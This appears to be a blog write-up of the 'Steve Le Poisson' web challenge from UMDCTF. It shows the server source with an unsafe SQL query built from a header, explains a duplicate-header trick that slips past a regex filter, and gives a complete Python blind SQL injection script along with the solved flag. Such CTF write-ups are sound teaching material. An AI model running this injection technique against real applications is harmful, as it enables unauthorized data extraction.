Steve Le Poisson web

Category

Web

Chall Author

tahmid-23

Stats

Total Solves: 139/708 Teams

Final Points: 369p

Description

il est orange

Preface

Before the CTF I was practicing my Blind SQL skills and let me just say that it really paid off. Props to the challenge author for making my favourite web chall of the CTF!

Looking at the website

The website's only page was the index page. What was on it you may ask? Well have a look yourself:

Steve, le- (Poi-)

Le poisson Steve (Poisson Steve)

Il est orange (Orange, ooh-ooh)

Il a des bras, et des jambes

Le poisson Steve

Yes that's it! Expected anything less?

Okay but looking into the challenge I didn't really find anything more than the static js which didnt help. Let's look into the source!

Looking at the Source

Looking at the source code I looked for the logic that handles what we can input. That being the filename and contents of the file:


// 📩 Importation des modules nĂ©cessaires pour faire tourner notre monde sous-marin numĂ©rique
const express = require("express");   // Express, le cadre web minimaliste mais puissant
const sqlite3 = require("sqlite3");   // SQLite version brute, pour les bases de données légÚres
const sqlite = require("sqlite");     // Une interface moderne (promesse-friendly) pour SQLite
const cors = require("cors");         // Pour permettre à d'autres domaines de parler à notre serveur — Steve est sociable, mais pas trop

// 🐠 CrĂ©ation de l'application Express : c’est ici que commence l’aventure
const app = express();

// đŸ§Ș Fonction de validation des en-tĂȘtes HTTP
// Steve, ce poisson Ă  la sensibilitĂ© exacerbĂ©e, dĂ©teste les en-tĂȘtes trop longs, ambigus ou mystĂ©rieux
function checkBadHeader(headerName, headerValue) {
    return headerName.length > 80 || 
           (headerName.toLowerCase() !== 'user-agent' && headerValue.length > 80) || 
           headerValue.includes('\0'); // Le caractĂšre nul ? Un blasphĂšme pour Steve.
}

// 🛟 Middleware pour autoriser les requĂȘtes Cross-Origin
app.use(cors());

// 🧙 Middleware maison : ici, Steve le Poisson filtre les requĂȘtes selon ses principes aquatiques
app.use((req, res, next) => {
    let steveHeaderValue = null; // On prĂ©pare le terrain pour rĂ©cupĂ©rer l’en-tĂȘte sacrĂ©
    let totalHeaders = 0;        // Pour compter — car Steve compte. Tout. Toujours.

    // 🔍 Parcours des en-tĂȘtes bruts, deux par deux (clĂ©, valeur)
    for (let i = 0; i < req.rawHeaders.length; i += 2) {
        let headerName = req.rawHeaders[i];
        let headerValue = req.rawHeaders[i + 1];

        // ❌ Si un en-tĂȘte ne plaĂźt pas Ă  Steve, il coupe net la communication
        if (checkBadHeader(headerName, headerValue)) {
            return res.status(403).send(`Steve le poisson, un animal marin d’apparence inoffensive mais d’opinion tranchĂ©e, n’a jamais vraiment supportĂ© tes en-tĂȘtes HTTP. Chaque fois qu’il en voit passer un — mĂȘme sans savoir de quoi il s’agit exactement — son Ɠil vitreux se plisse, et une sorte de grondement bouillonne dans ses branchies. Ce n’est pas qu’il les comprenne, non, mais il les sent, il les ressent dans l’eau comme une vibration mal alignĂ©e, une dissonance numĂ©rique qui le met profondĂ©ment mal Ă  l’aise. Il dit souvent, en tournoyant d’un air dramatique : « Pourquoi tant de formalisme ? Pourquoi cacher ce qu’on est vraiment derriĂšre des chaĂźnes de caractĂšres obscures ? » Pour lui, ces en-tĂȘtes sont comme des algues synthĂ©tiques : inutiles, prĂ©tentieuses, et surtout Ă©trangĂšres Ă  la fluiditĂ© du monde sous-marin. Il prĂ©fĂ©rerait mille fois un bon vieux flux binaire brut, sans tous ces ornements absurdes. C’est une affaire de principe.`); // Message dramatique de Steve
        }

        // 🔼 Si on trouve l’en-tĂȘte "X-Steve-Supposition", on le garde
        if (headerName.toLowerCase() === 'x-steve-supposition') {
            steveHeaderValue = headerValue;
        } 

        totalHeaders++; // 🧼 On incrĂ©mente notre compteur de verbositĂ© HTTP
    }

    // đŸ§» Trop d’en-tĂȘtes ? Steve explose. LittĂ©ralement.
    if (totalHeaders > 30) {
        return res.status(403).send(`Steve le poisson, qui est orange avec de longs bras musclĂ©s et des jambes nerveuses, te fixe avec ses grands yeux globuleux. "Franchement," grogne-t-il en agitant une nageoire transformĂ©e en doigt accusateur, "tu abuses. Beaucoup trop d’en-tĂȘtes HTTP. Tu crois que c’est un concours ? Chaque requĂȘte que tu envoies, c’est un roman. Moi, je dois nager dans ce flux verbeux, et c’est moi qui me noie ! T’as entendu parler de minimalisme ? Non ? Et puis c’est quoi ce dĂ©lire avec des en-tĂȘtes dupliquĂ©s ? Tu crois que le serveur, c’est un psy, qu’il doit tout Ă©couter deux fois ? Retiens-toi la prochaine fois, ou c’est moi qui coupe la connexion."`); // Encore un monologue dramatique de Steve
    }

    // đŸ™…â€â™‚ïž L’en-tĂȘte sacrĂ© est manquant ? BlasphĂšme total.
    if (steveHeaderValue === null) {
        return res.status(400).send(`Steve le poisson, toujours orange et furibond, bondit hors de l’eau avec ses jambes flĂ©chies et ses bras croisĂ©s. "Non mais sĂ©rieusement," rĂąle-t-il, "oĂč est passĂ© l’en-tĂȘte X-Steve-Supposition ? Tu veux que je devine tes intentions ? Tu crois que je lis dans les paquets TCP ? Cet en-tĂȘte, c’est fondamental — c’est lĂ  que tu dĂ©clares tes hypothĂšses, tes intentions, ton respect pour le protocole sacrĂ© de Steve. Sans lui, je suis perdu, confus, dĂ©sorientĂ© comme un poisson hors d’un proxy.`);
    }

    // đŸ§Ș Validation de la structure de la supposition : uniquement des caractĂšres honorables
    if (!/^[a-zA-Z0-9{}]+$/.test(steveHeaderValue)) {
        return res.status(403).send(`Steve le poisson, ce poisson orange Ă  la peau luisante et aux nageoires musclĂ©es, unique au monde, capable de nager sur la terre ferme et de marcher dans l'eau comme si c’était une moquette moelleuse, te regarde avec ses gros yeux globuleux remplis d’une indignation abyssale. Il claque de la langue – oui, car Steve a une langue, et elle est trĂšs expressive – en te voyant saisir ta supposition dans le champ prĂ©vu, un champ sacrĂ©, un espace rĂ©servĂ© aux caractĂšres honorables, alphabĂ©tiques et numĂ©riques, et toi, misĂ©rable bipĂšde aux doigts tĂ©mĂ©rairement chaotiques, tu as osĂ© y glisser des signes de ponctuation, des tilde, des diĂšses, des dollars, comme si c’était une brocante de symboles oubliĂ©s. Tu crois que c’est un terrain de jeu, hein ? Mais pour Steve, ce champ est un pacte silencieux entre l’humain et la machine, une zone de puretĂ© syntaxique. Et te voilĂ , en train de profaner cette convention sacrĂ©e avec ton “%” et ton “@”, comme si les rĂšgles n’étaient que des suggestions. Steve bat furieusement des pattes arriĂšre – car oui, il a aussi des pattes arriĂšre, pour la traction tout-terrain – et fait jaillir de petites Ă©claboussures d’écume terrestre, signe suprĂȘme de sa colĂšre. “Pourquoi ?” te demande-t-il, avec une voix grave et solennelle, comme un vieux capitaine marin Ă©chouĂ© dans un monde digital, “Pourquoi chercher la dissonance quand l’harmonie suffisait ? Pourquoi saboter la beautĂ© simple de ‘azAZ09’ avec tes gribouillages postmodernes ?” Et puis il s’approche, les yeux plissĂ©s, et te lance d’un ton sec : “Tu n’es pas digne de l’en-tĂȘte X-Steve-Supposition. Reviens quand tu sauras deviner avec dignitĂ©.`);
    }

    // ✅ Si tout est bon, Steve laisse passer la requĂȘte
    next();
});

// 🔍 Point d'entrĂ©e principal : route GET pour "deviner"
app.get('/deviner', async (req, res) => {
    // 📂 Ouverture de la base de donnĂ©es SQLite
    const db = await sqlite.open({
        filename: "./database.db",           // Chemin vers la base de données
        driver: sqlite3.Database,            // Le moteur utilisé
        mode: sqlite3.OPEN_READONLY          // j'ai oublié ça
    });

    // 📋 ExĂ©cution d'une requĂȘte SQL : on cherche si la supposition de Steve est correcte
    const rows = await db.all(`SELECT * FROM flag WHERE value = '${req.get("x-steve-supposition")}'`);

    res.status(200); // 👍 Tout va bien, en apparence

    // 🧠 Si aucune ligne ne correspond, Steve se moque gentiment de toi
    if (rows.length === 0) {
        res.send("Bah, tu as tort."); // Pas de flag pour toi
    } else {
        res.send("Tu as raison!");    // Le flag Ă©tait bon. Steve t’accorde son respect.
    }
});

// đŸšȘ On lance le serveur, tel un aquarium ouvert sur le monde
const PORT = 3000;
app.listen(PORT, "0.0.0.0", () => {
  console.log(`Serveur en écoute sur http://localhost:${PORT}`);
});
                    

Most of the code is in french but ignoring that we can actually make out what it means without google translate!

The server is written in js and 2 endpoints. / and /deviner. The interesting parts is the middleware and especially the x-steve-supposition header.

The code basically gets whatever is in that header and uses that in this db query:


SELECT * FROM flag WHERE value = '${req.get("x-steve-supposition")}'
                

Meaning that if we can achieve a SQL Injection using the header.

What stops us?

Well it has a bunch of checks, and the most important one being the regexp:


if (!/^[a-zA-Z0-9{}]+$/.test(steveHeaderValue)) 
                

This stops us from trying any SQLI, bummer. Well I sat and tried different things while observing the source code closer and found a little flaw with their backend.

The checks and regexp check the first X-Steve-Supposition header right? But what if we had 2...

Meaning that if we have a X-Steve-Supposition header first with our SQLI payload and then another one aftet the first with a random value like "a" we could effectively bypass all the checks!

So it would look like this:

SQLI

Now its time to figure out how we get the flag using the newfound vulnerability.

We cannot dump it directly as we can only get 1 of 2 responses: "Tu as raison!" and "Bah, tu as tort."

But we know that we get Tu as raison when we execute a valid SQL payload so doesn't that mean that we can use Blind SQL Injection? Well yeah!

We know that the first letter of the flag is U becasue of the flag format UMDCTF. So trying this gives us "Tu as raison! but changing the letter to for example "A" gives "Bah, tu as tort."

I was not planning on spending 10h manually doing this for every letter, number and character so lets get scripting:

Solution Script


import httpx
import string

URL = "https://steve-le-poisson-api.challs.umdctf.io/deviner"
CHARS = string.ascii_letters + string.digits + "{}_"
flagga = ""

client = httpx.Client(http2=True)

def koka(position, character):
    injection = f"' UNION SELECT value FROM flag WHERE substr(value, {position}, 1) = '{character}' --"
    headers = {
        "X-Steve-Supposition": injection,
        "x-Steve-Supposition": "a"
    }
    response = client.get(URL, headers=headers)
    if "Tu as raison!" in response.text:
        print("yes")
        return True
    else:
        print("no")
        return False

position = 1
while True:
    found = False
    for c in CHARS:
        print(f"\n{position} '{c}'")
        if koka(position, c):
            flagga += c
            print(f"found: {position}: '{c}'")
            print(f"{flagga} hitills")
            position += 1
            found = True
            break
    if not found:
        print(f"fel hÀr: {position}")
        break
    if flagga.endswith('}'):
        print("solved: ", flagga)
        break
                

And after a few minutes I got the flag!

Flag

UMDCTF{ile5TVR4IM3NtTresbEAu}

alanoo.dev

My dev page :).


By alanoo 2025-04-30


Table of Contents: